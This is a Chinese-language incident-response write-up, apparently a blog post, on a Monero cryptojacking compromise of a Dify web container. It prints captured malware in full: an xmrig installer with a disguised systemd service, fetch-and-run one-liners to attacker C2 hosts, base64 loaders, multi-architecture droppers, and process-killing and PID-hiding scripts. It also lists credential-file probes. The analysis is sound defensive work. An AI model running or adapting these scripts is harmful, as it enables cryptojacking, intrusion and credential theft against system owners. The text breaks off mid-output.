现场取证 定位主机 对方有奇安信的设备,直接按照外联ip查到了涉事主机
主机排查,根据威胁情报比对 然后查看那个主机进程
cpu拉满了,包是挖矿病毒了 根据威胁情报显示,只有一个样本,4311文件 也找到了该进程 接着就是定位文件了
但是有报错,显示的信息都是docker相关的,然后查看了一下docker容器的资源使用情况
那有问题的就是这个了,停掉该容器之后,cpu占用就下来了,并且也没有4311在运行了,接着就是打包成镜像取证了
导出镜像取证 1 docker commit dify-web-1 dify-web:20251219
1 docker save -o dify-web.tar dify-web:20251219
镜像分析 静态分析 只读启动镜像 先加载镜像
1 docker load -i dify-web-backup.tar
然后启动
1 2 3 4 5 6 sudo docker run --rm -it \ --read-only \ --network none \ --entrypoint /bin/sh \ --name dify-forensics \ dify-web:20251219
当前目录查看是否有异常,结果发现了挖矿病毒启动脚本以及两个病毒文件还有一个挖矿配置
启动脚本sex.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 #!/bin/bash TAR_FILE="kal.tar.gz" EXTRACT_DIR="xmrig-6.24.0" SERVICE_NAME="system-update-service" ARGS="--url pool.supportxmr.com:8080 --user 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j --pass sx --donate-level 0" SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME} .service" if [ "$(id -u) " -eq 0 ]; then INSTALL_DIR="/usr/share/updater" CONFIG_FILE="$INSTALL_DIR /miner.conf" else INSTALL_DIR="$(pwd) " CONFIG_FILE="$(pwd) /miner.conf" fi BINARY_PATH="$INSTALL_DIR /$EXTRACT_DIR /xmrig" save_config () { cat > "$CONFIG_FILE " <<EOF BINARY_PATH=$BINARY_PATH ARGS=$ARGS SERVICE_NAME=$SERVICE_NAME EOF echo "[*] Configuration saved to $CONFIG_FILE " } load_config () { if [ -f "$CONFIG_FILE " ]; then source "$CONFIG_FILE " echo "[*] Configuration loaded from $CONFIG_FILE " fi } if [ "$(id -u) " -eq 0 ] && [ -d "$(pwd) /$EXTRACT_DIR " ] && [ ! -d "$INSTALL_DIR /$EXTRACT_DIR " ]; then echo "[*] Found existing installation in $(pwd) . Moving to $INSTALL_DIR ..." mkdir -p "$INSTALL_DIR " mv "$(pwd) /$EXTRACT_DIR " "$INSTALL_DIR /" 2>/dev/null || true if [ -f "$(pwd) /$TAR_FILE " ]; then rm -f "$(pwd) /$TAR_FILE " fi if [ -f "$(pwd) /miner.conf" ]; then mv "$(pwd) /miner.conf" "$INSTALL_DIR /miner.conf" 2>/dev/null || true fi fi ALREADY_INSTALLED=0 if [ -f "$BINARY_PATH " ]; then ALREADY_INSTALLED=1 echo "[*] Installation detected. Loading existing configuration..." load_config fi if [ ! -f "$BINARY_PATH " ]; then echo "[*] Downloading xmrig..." TEMP_DIR=$(mktemp -d) cd "$TEMP_DIR " curl -L -o "$TAR_FILE " --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz echo "[*] Extracting archive..." tar xvzf "$TAR_FILE " if [ "$(id -u) " -eq 0 ]; then echo "[*] Moving to $INSTALL_DIR ..." mkdir -p "$INSTALL_DIR " mv "$EXTRACT_DIR " "$INSTALL_DIR /" else cd - > /dev/null mv "$TEMP_DIR /$EXTRACT_DIR " "$(pwd) /$EXTRACT_DIR " fi rm -rf "$TEMP_DIR " save_config else echo "[*] Binary already exists at $BINARY_PATH " fi chmod +x "$BINARY_PATH " if [ $ALREADY_INSTALLED -eq 1 ]; then echo "[*] Updating existing installation..." if [ -f "$SERVICE_FILE " ]; then echo "[*] Found existing systemd service. Updating..." if systemctl is-active --quiet "$SERVICE_NAME " ; then echo "[*] Stopping service..." systemctl stop "$SERVICE_NAME " fi cat <<EOF > "$SERVICE_FILE" [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=${BINARY_PATH} ${ARGS} Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target EOF systemctl daemon-reload echo "[*] Service configuration updated" systemctl start "$SERVICE_NAME " if systemctl is-active --quiet "$SERVICE_NAME " ; then echo "[+] Service restarted successfully" fi else echo "[*] No systemd service found. Proceeding with initial setup..." ALREADY_INSTALLED=0 fi fi if [ $ALREADY_INSTALLED -eq 0 ]; then INSTALLED_SYSTEMD=0 if [ "$(id -u) " -eq 0 ] && command -v systemctl >/dev/null 2>&1; then echo "[*] Root privileges detected. Attempting systemd setup..." cat <<EOF > "$SERVICE_FILE" [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=${BINARY_PATH} ${ARGS} Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable "$SERVICE_NAME " systemctl start "$SERVICE_NAME " if systemctl is-active --quiet "$SERVICE_NAME " ; then echo "[+] Service started via systemd." INSTALLED_SYSTEMD=1 save_config fi fi if [ $INSTALLED_SYSTEMD -eq 0 ]; then echo "[*] Starting with nohup..." nohup "$BINARY_PATH " $ARGS >/dev/null 2>&1 & save_config fi fi
可以从中得到矿池地址
1 --url pool.supportxmr.com:8080 --user 89Zr4vPaS8yTYRQE54tK1QGKRpsYZ6eJJYynfpfBf1zmLHECaskMPwd3wuTnQ4SYQ7QLkwVN8ur2QTQi9wkKMaCr2iXKa7j
可以看到持久化行为:
尝试移动安装到 /usr/share/updater(root)
生成配置文件 miner.conf
尝试创建/更新 systemd service :
system-update-service
ExecStart 指向 xmrig 并带 args
Restart=always → 保证开机自启
如果 systemd 不可用,fallback 用 nohup 启动 → 静默运行 根据矿池查找,目前在运行的挖矿程序就一个
恶意样本分拣 查看最近30天改动的文件(该操作是事后认真分析有的。。。。。)
1 find / -type f -mtime -30 2>/dev/null | grep -vE "/proc|/sys|/dev"
pm2日志分析 日志内容挺多的,然后让ai分析一下 大致内容如下:
命令 1
1 wget http://superminecraft.net.br:3000/sex.sh && bash sex.sh
作用 : 从 C2 服务器下载恶意脚本 sex.sh 并使用 bash 执行
C2 服务器 : superminecraft.net.br:3000 (144.22.210.54)
结果 : - ✅ 下载成功 (5012 bytes) - ❌ 执行失败 - /bin/sh: bash: not found (Alpine 容器没有 bash)
命令 2
1 wget http://xpertclient.net:3000/sex.sh && bash sex.sh
作用 : 从另一个 C2 服务器尝试下载同一恶意脚本
C2 服务器 : xpertclient.net:3000 (192.9.245.121)
结果 : - ❌ 下载失败 - wget: can't open 'sex.sh': File exists - ❌ 执行失败
命令 3
1 cd /tmp; wget http://23.132.164.54/bot; chmod 777 bot; ./bot || cd /tmp; curl -O http://23.132.164.54/bot; chmod 777 bot; ./bot
作用 : 下载僵尸程序 bot,赋予执行权限并运行;如果 wget 失败则尝试 curl
C2 服务器 : 23.132.164.54:80
下载大小 : 3595KB (约 3.5MB 的僵尸程序)
结果 : - ✅ wget 下载成功 - ❌ chmod: bot: No such file or directory (文件路径问题) - ❌ /bin/sh: ./bot: not found - ❌ /bin/sh: curl: not found
命令 4
1 echo Y3VybCAtcyAtLW1heC10aW1lIDUgaHR0cHM6Ly90ci5lYXJuLnRvcC9Mb2cucGhwP2lkPWFIUjBjSE02THk4eE1qQXVNamN1TWpNd0xqSXdPUT09 | base64 -d | sh
1 curl -s --max-time 5 https://tr.earn.top/Log.php?id =aHR0cHM6Ly8xMjAuMjcuMjMwLjIwOQ==
二次 Base64 解码 : https://120.27.230.209
作用 : 向 C2 服务器回传被入侵主机的信息
C2 服务器 : tr.earn.top → 120.27.230.209
结果 : - ❌ sh: curl: not found
命令 5
1 echo KGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtcyBodHRwOi8vNDcuNzcuMjA0LjI0OC9pbmRleCB8IGJhc2gpIHx8IChjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXEgLU8tIGh0dHA6Ly80Ny43Ny4yMDQuMjQ4L2luZGV4IHwgYmFzaCkgfHwgKGNvbW1hbmQgLXYgcHl0aG9uMyA+L2Rldi9udWxsIDI+JjEgJiYgcHl0aG9uMyAtYyAiaW1wb3J0IHVybGxpYi5yZXF1ZXN0IGFzIHUsc3VicHJvY2Vzczsgc3VicHJvY2Vzcy5Qb3BlbihbJ2Jhc2gnXSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKS5jb21tdW5pY2F0ZSh1LnVybG9wZW4oJ2h0dHA6Ly80Ny43Ny4yMDQuMjQ4L2luZGV4JykucmVhZCgpKSIpIHx8IChjb21tYW5kIC12IHB5dGhvbiA+L2Rldi9udWxsIDI+JjEgJiYgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMiBhcyB1LHN1YnByb2Nlc3M7IHN1YnByb2Nlc3MuUG9wZW4oWydiYXNoJ10sIHN0ZGluPXN1YnByb2Nlc3MuUElQRSkuY29tbXVuaWNhdGUodS51cmxvcGVuKCdodHRwOi8vNDcuNzcuMjA0LjI0OC9pbmRleCcpLnJlYWQoKSkiKQ== | base64 -d | bash
1 2 3 4 (command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())" ) || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())" )
作用 : 多阶段 loader,尝试使用 curl/wget/python3/python 下载并执行恶意载荷
C2 服务器 : 47.77.204.248:80
结果 : - ❌ sh: curl: not found - ❌ /bin/sh: bash: not found
命令 6
1 wget -O - http://128.199.194.97:9001/setup2.sh|sh
作用 : 下载持久化脚本并直接通过管道执行
C2 服务器 : 128.199.194.97:9001
结果 : - ❌ 进程被 SIGKILL 终止 (signal: 'SIGKILL')
命令 7
行号 : L1211, L2465 (多次重复执行)
命令 :
1 wget -O - http://128.199.194.97:9003/setup2.sh|sh
作用 : 从另一端口下载并执行 setup2.sh 脚本
C2 服务器 : 128.199.194.97:9003
下载大小 : 13742 bytes
结果 : - ✅ 下载成功 - ⚠️ 部分执行 - 脚本内的子命令部分成功
setup2.sh 脚本执行的子命令 1 rm -rf /tmp/node-compile-cache/*
作用 : 尝试删除 Node.js 编译缓存
结果 : - ❌ rm: can't remove '...': Permission denied (全部权限被拒绝)
1 wget ... -o /tmp/runnv/lived.sh
作用 : 下载持久化守护脚本
下载大小 : 1813 bytes
结果 : - ✅ 下载成功 - '/tmp/runnv/lived.sh' saved
1 2 nohup /tmp/runnv/lived.shnohup /tmp/runnv/alive.sh
作用 : 使用 nohup 在后台运行持久化脚本
结果 : - ❌ nohup: can't execute '/tmp/runnv/lived.sh': No such file or directory - ❌ nohup: can't execute '/tmp/runnv/alive.sh': No such file or directory
作用 : 尝试以 root 权限执行命令
结果 : - ❌ sh: sudo: not found (9 次全部失败)
获取当前进程信息
结果 : - ✅ 成功 - 泄露进程目录列表(arch_status, environ, fd, maps 等 45 个项目)
读取环境变量 ⚠️ 严重泄露
结果 : - ✅ 成功 - 完整泄露了以下敏感信息: - HOSTNAME=997297f54e22 - NODE_ENV=production - EDITION=SELF_HOSTED - COMMIT_SHA=809a0ab6bf52326e14444e396f24bab3ef3c504a - MARKETPLACE_URL=https://marketplace.dify.ai - PM2 配置信息等
探测 /etc 目录
结果 : - ✅ 成功 - 泄露目录列表(包括 passwd, shadow, hosts 等)
读取 /etc/shadow
结果 : - ❌ EACCES: permission denied
探测当前工作目录
结果 : - ✅ 成功 - 泄露文件列表:.next, am64, e386, entrypoint.sh, i18n, node_modules, package.json, public, server.js, sex.sh - ⚠️ 注意:sex.sh 已存在于目录中
尝试读取 Firebase 服务账号
行号 : L255-260
命令 : open /proc/self/cwd/serviceAccountKey.json
作用 : 尝试窃取 Firebase/GCP 凭证
结果 : - ❌ ENOENT: no such file or directory
尝试读取 Prisma 配置
命令 : - scandir /proc/self/cwd/prisma - open /proc/self/cwd/prisma/.env - open /proc/self/cwd/prisma/schema.prisma
作用 : 尝试窃取数据库连接信息
结果 : - ❌ 全部失败 - 文件不存在
读取 /etc/passwd ⚠️ 泄露
结果 : - ✅ 成功 - 泄露了完整的用户列表: - root:x:0:0:root:/root:/bin/sh - node:x:1000:1000::/home/node:/bin/sh - 以及其他系统账号
探测 /root 目录下的敏感文件 - /root/.ssh/id_rsa (SSH 私钥) - /root/.aws/credentials (AWS 凭证) - /root/.kube/config (K8s 配置) - /root/.docker/config (Docker 认证) - /root/.config/gcloud/* (GCP 凭证) - /root/.git-credentials (Git 凭证) - /root/.bash_history (命令历史)
作用 : 尝试窃取各类云服务凭证
结果 : - ❌ 全部 EACCES: permission denied
探测 /home/node 目录
行号 : L444-575
命令 : 探测 node 用户的敏感文件(同上列表)
作用 : 尝试从应用用户目录窃取凭证
结果 : - ❌ 全部 ENOENT: no such file or directory
分拣恶意文件 针对一些可能存在的路径进行查找所有具有执行权限的文件(该操作为当时急着写报告应付领导做的,所以显得比较杂乱无章,实际应该根据日志来一步步找恶意文件)
1 find / -xdev -type f \( -path "/tmp/*" -o -path "/var/tmp/*" -o -path "/dev/shm/*" -o -path "/app/*" \) -mtime -30 -perm /111 2>/dev/null
分析这些文件的真实类型
1 for f in /tmp/gates.lod /tmp/mpsl.ts /tmp/arm6.ts /tmp/4311 /tmp/alive.service /tmp/boons.sh /tmp/arm5.ts /tmp/conf.n /tmp/lived.service /tmp/zzh.sh /tmp/arm.ts /tmp/runnv/lived.sh /tmp/runnv/alive.sh /tmp/runnv/runnv /tmp/x88 /tmp/mips.ts /app/web/e386 /app/web/am64; do echo "===== $f =====" ; head -c 4 "$f " 2>/dev/null | xxd; done
找到伪装成ts文件的可疑文件,这些应该就是矿机组件
1 2 3 4 5 6 7 8 9 10 /tmp/mpsl.ts ELF /tmp/arm6.ts ELF /tmp/arm5.ts ELF /tmp/arm.ts ELF /tmp/mips.ts ELF /tmp/x88 ELF /tmp/4311 ELF /tmp/runnv/runnv ELF /app/web/e386 ELF /app/web/am64 ELF
其他应该是shell控制脚本,调度 & 守护挖矿病毒的
1 2 3 4 /tmp/boons.sh /tmp/zzh.sh /tmp/runnv/lived.sh /tmp/runnv/alive.sh
持久化文件是
1 2 /tmp/alive.service /tmp/lived.service
Docker 里 systemd 不会生效,但这说明攻击脚本也被用来打真实宿主机 / VPS
还原攻击链投放过程 1 for f in /tmp/boons.sh /tmp/zzh.sh /tmp/runnv/lived.sh /tmp/runnv/alive.sh; do echo "===== $f ====="; sed -n '1,200p' "$f"; done
结果是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 ===== /tmp/boons.sh ===== cd /tmpwget http://193.35.154.205/x88 wget http://193.35.154.205/arm.ts wget http://193.35.154.205/arm5.ts wget http://193.35.154.205/arm6.ts wget http://193.35.154.205/mips.ts wget http://193.35.154.205/mpsl.ts curl -O http://193.35.154.205/x88 curl -O http://193.35.154.205/arm.ts curl -O http://193.35.154.205/arm5.ts curl -O http://193.35.154.205/arm6.ts curl -O http://193.35.154.205/mips.ts curl -O http://193.35.154.205/mpsl.ts chmod 777 *./x88 ./arm.ts ./arm5.ts ./arm6.ts ./mips.ts ./mpsl.ts ===== /tmp/zzh.sh ===== cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.mips; chmod +x ionetworks.mips; ./ionetworks.mips; rm -rf ionetworks.mipscd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.mpsl; chmod +x ionetworks.mpsl; ./ionetworks.mpsl; rm -rf ionetworks.mpslcd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.x86; chmod +x ionetworks.x86; ./ionetworks.x86; rm -rf ionetworks.x86cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm6; chmod +x ionetworks.arm6; ./ionetworks.arm6; rm -rf ionetworks.arm6cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm4; chmod +x ionetworks.arm4; ./ionetworks.arm4; rm -rf ionetworks.arm4cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.35.154.205/ionetworks.arm5; chmod +x ionetworks.arm5; ./ionetworks.arm5; rm -rf ionetworks.arm5===== /tmp/runnv/lived.sh ===== INTERVAL=3 while true ; do pids=$(ps aux | grep '[r]unnv' | grep '/tmp/runnv/runnv' | awk '{print $2}' ) for pid in $pids ; do if [ -n "$pid " ]; then if [ -d "/proc/$pid " ]; then echo "发现进程 PID: $pid " mount --bind /proc/2 /proc/$pid echo "已将 /proc/2 挂载到 /proc/$pid " else echo "/proc/$pid 目录不存在,无法挂载" fi fi done SELF_PID=$$ ps -eo pid,args | grep -v runnv | grep -v grep | while read pid cmd_rest; do if [ "$pid " = "$SELF_PID " ]; then continue fi case "$cmd_rest " in *.sh*|sh* ) echo "Killing SH script: $pid - $cmd_rest " kill -9 "$pid " continue ;; esac case "$cmd_rest " in *python* ) echo "Killing Python: $pid - $cmd_rest " kill -9 "$pid " continue ;; esac case "$cmd_rest " in */tmp/* ) echo "Killing /tmp program: $pid - $cmd_rest " kill -9 "$pid " continue ;; esac exe_file="/proc/$pid /exe" if [ -e "$exe_file " ]; then if file "$exe_file " 2>/dev/null | grep -q "ELF" ; then echo "Killing ELF: $pid - $cmd_rest " kill -9 "$pid " continue fi fi done find /tmp -mindepth 1 -maxdepth 1 ! -name runnv -exec rm -rf -- {} + sleep $INTERVAL done ===== /tmp/runnv/alive.sh ===== INTERVAL=1 while true ; do ps -eo pid,pcpu --no-headers | awk '$2>=40 {print $1}' | while read -r pid; do [ -d "/proc/$pid " ] || continue exe_path=$(readlink "/proc/$pid /exe" 2>/dev/null || echo "" ) cmdline=$(tr '\0' ' ' < "/proc/$pid /cmdline" 2>/dev/null || echo "" ) if [[ "$exe_path " == /tmp/runnv/* ]] || echo "$cmdline " | grep -q "/tmp/runnv/runnv" ; then echo "Skip PID $pid (runnv: $exe_path )" continue fi if echo "$cmdline " | grep -q "zzh" ; then echo "Skip PID $pid (whitelist: zzh)" continue fi echo "Kill PID $pid (CPU>=40%, exe=$exe_path , cmd=$cmdline )" kill -9 "$pid " 2>/dev/null done sleep "$INTERVAL " done
至此攻击链路清晰了
1 2 3 4 5 6 7 8 9 10 11 RCE(dify Web) ↓ 执行 /tmp/boons.sh 或 /tmp/zzh.sh ↓ 从 193.35.154.205 拉取多架构矿机 ↓ 直接全跑(不判断架构) ↓ 启动 /tmp/runnv/runnv ↓ alive.sh + lived.sh 做保活 & 对抗
各脚本的功能就是
1、/tmp/boons.sh —— 初始投放器(入口)
1 2 3 wget / curl 多架构 chmod 777 * 全部直接执行
特点: 不判断 CPU 哪个能跑就活下来 这是 RCE 后第一阶段 payload 这是“第一落地脚本”
1 2 3 wget ionetworks.* 执行 立刻删除
用途: 如果 boons.sh 被杀 或在精简系统中失败 再试一轮
3、/tmp/runnv/lived.sh —— 对抗 & 清场 矿机特征 : kill 所有: -.sh - python - /tmp/* - 所有 ELF(除了自己) bind mount /proc/2 → /proc/$pid 用于隐藏真实进程信息
4、/tmp/runnv/alive.sh —— 高 CPU 清场
1 2 3 CPU >= 40% 的进程 ↓ 不是自己 → kill -9
目的:
抢 CPU
杀云厂商安全 agent
杀其他矿机 最终网站根目录下存在e386、am64是脚本跑了一段时间后的升级行为,发现该目录可横向写入
动态分析 启动镜像
1 sudo docker run -it --rm --name dify-test -p 3000:3000 --network bridge --cap-drop ALL --security-opt no-new-privileges -v dify-pm2:/.pm2 -v dify-tmp:/tmp -v dify-log:/app/logs -e NODE_ENV=production -e DEBUG="next:*" dify-web:20251219
换成后台启动算了
1 sudo docker run -d --rm --name dify-test -p 3000:3000 --network bridge --cap-drop ALL --security-opt no-new-privileges -v dify-pm2:/.pm2 -v dify-tmp:/tmp -v dify-log:/app/logs -e NODE_ENV=production -e DEBUG="next:*" dify-web:20251219
然后浏览器访问入口http://ip:3000/。。。。。。额,太吃配置了,卡死 但是打通了 打通之后,那就是要根据时间线排查确认最初入口点是通过CVE-2025-55182打进去的 关闭容器,关闭都卡死。。。。
时间线梳理 分析 先梳理下时间 + 类型
1 for f in /tmp/gates.lod /tmp/mpsl.ts /tmp/arm6.ts /tmp/4311 /tmp/alive.service /tmp/boons.sh /tmp/arm5.ts /tmp/conf.n /tmp/lived.service /tmp/zzh.sh /tmp/arm.ts /tmp/runnv/lived.sh /tmp/runnv/alive.sh /tmp/runnv/runnv /tmp/x88 /tmp/mips.ts /app/web/e386 /app/web/am64; do echo "===== $f ====="; stat "$f"; file "$f"; done
输出是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 ===== /tmp/gates.lod ===== File: /tmp/gates.lod Size: 4 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772633 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-11 01:57:42.000000000 +0000 Modify: 2025-12-11 01:57:42.000000000 +0000 Change: 2025-12-20 14:22:52.266990384 +0000 /bin/sh: file: not found ===== /tmp/mpsl.ts ===== File: /tmp/mpsl.ts Size: 88312 Blocks: 176 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772636 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:40.000000000 +0000 Modify: 2025-12-10 20:31:40.000000000 +0000 Change: 2025-12-20 14:22:52.268317682 +0000 /bin/sh: file: not found ===== /tmp/arm6.ts ===== File: /tmp/arm6.ts Size: 73072 Blocks: 144 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772630 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:37.000000000 +0000 Modify: 2025-12-10 20:31:37.000000000 +0000 Change: 2025-12-20 14:22:52.265855384 +0000 /bin/sh: file: not found ===== /tmp/4311 ===== File: /tmp/4311 Size: 1223123 Blocks: 2392 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772626 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 23:56:20.000000000 +0000 Modify: 2025-12-10 23:56:20.000000000 +0000 Change: 2025-12-20 14:22:52.263406460 +0000 /bin/sh: file: not found ===== /tmp/alive.service ===== File: /tmp/alive.service Size: 258 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772627 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-08 10:04:40.000000000 +0000 Modify: 2025-12-08 10:04:40.000000000 +0000 Change: 2025-12-20 14:22:52.263406460 +0000 /bin/sh: file: not found ===== /tmp/boons.sh ===== File: /tmp/boons.sh Size: 519 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772631 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:32.000000000 +0000 Modify: 2025-12-10 20:31:32.000000000 +0000 Change: 2025-12-20 14:22:52.266386341 +0000 /bin/sh: file: not found ===== /tmp/arm5.ts ===== File: /tmp/arm5.ts Size: 73072 Blocks: 144 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772629 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:36.000000000 +0000 Modify: 2025-12-10 20:31:36.000000000 +0000 Change: 2025-12-20 14:22:52.265302250 +0000 /bin/sh: file: not found ===== /tmp/conf.n ===== File: /tmp/conf.n Size: 73 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772632 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-19 03:54:03.000000000 +0000 Modify: 2025-12-19 03:54:03.000000000 +0000 Change: 2025-12-20 14:22:52.266695658 +0000 /bin/sh: file: not found ===== /tmp/lived.service ===== File: /tmp/lived.service Size: 258 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772634 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-08 10:04:40.000000000 +0000 Modify: 2025-12-08 10:04:40.000000000 +0000 Change: 2025-12-20 14:22:52.267312127 +0000 /bin/sh: file: not found ===== /tmp/zzh.sh ===== File: /tmp/zzh.sh Size: 1010 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772643 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-11 03:06:12.000000000 +0000 Modify: 2025-12-11 03:06:12.000000000 +0000 Change: 2025-12-20 14:22:52.302416164 +0000 /bin/sh: file: not found ===== /tmp/arm.ts ===== File: /tmp/arm.ts Size: 74776 Blocks: 152 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772628 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:34.000000000 +0000 Modify: 2025-12-10 20:31:34.000000000 +0000 Change: 2025-12-20 14:22:52.264720946 +0000 /bin/sh: file: not found ===== /tmp/runnv/lived.sh ===== File: /tmp/runnv/lived.sh Size: 1813 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772640 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-08 10:04:40.000000000 +0000 Modify: 2025-12-08 10:04:40.000000000 +0000 Change: 2025-12-20 14:22:52.269802654 +0000 /bin/sh: file: not found ===== /tmp/runnv/alive.sh ===== File: /tmp/runnv/alive.sh Size: 769 Blocks: 8 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772638 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-08 10:04:40.000000000 +0000 Modify: 2025-12-08 10:04:40.000000000 +0000 Change: 2025-12-20 14:22:52.269202049 +0000 /bin/sh: file: not found ===== /tmp/runnv/runnv ===== File: /tmp/runnv/runnv Size: 8334576 Blocks: 16280 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772641 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-11-19 05:32:22.000000000 +0000 Modify: 2025-11-19 05:32:22.000000000 +0000 Change: 2025-12-20 14:22:52.300415666 +0000 /bin/sh: file: not found ===== /tmp/x88 ===== File: /tmp/x88 Size: 134288 Blocks: 264 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772642 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:33.000000000 +0000 Modify: 2025-12-10 20:31:33.000000000 +0000 Change: 2025-12-20 14:22:52.301415915 +0000 /bin/sh: file: not found ===== /tmp/mips.ts ===== File: /tmp/mips.ts Size: 88328 Blocks: 176 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772635 Links: 1 Access: (0777/-rwxrwxrwx) Uid: ( 1001/ UNKNOWN) Gid: ( 0/ root) Access: 2025-12-10 20:31:38.000000000 +0000 Modify: 2025-12-10 20:31:38.000000000 +0000 Change: 2025-12-20 14:22:52.267666108 +0000 /bin/sh: file: not found ===== /app/web/e386 ===== File: /app/web/e386 Size: 9052344 Blocks: 17688 IO Block: 4096 regular file Device: 5fh/95d Inode: 1772622 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 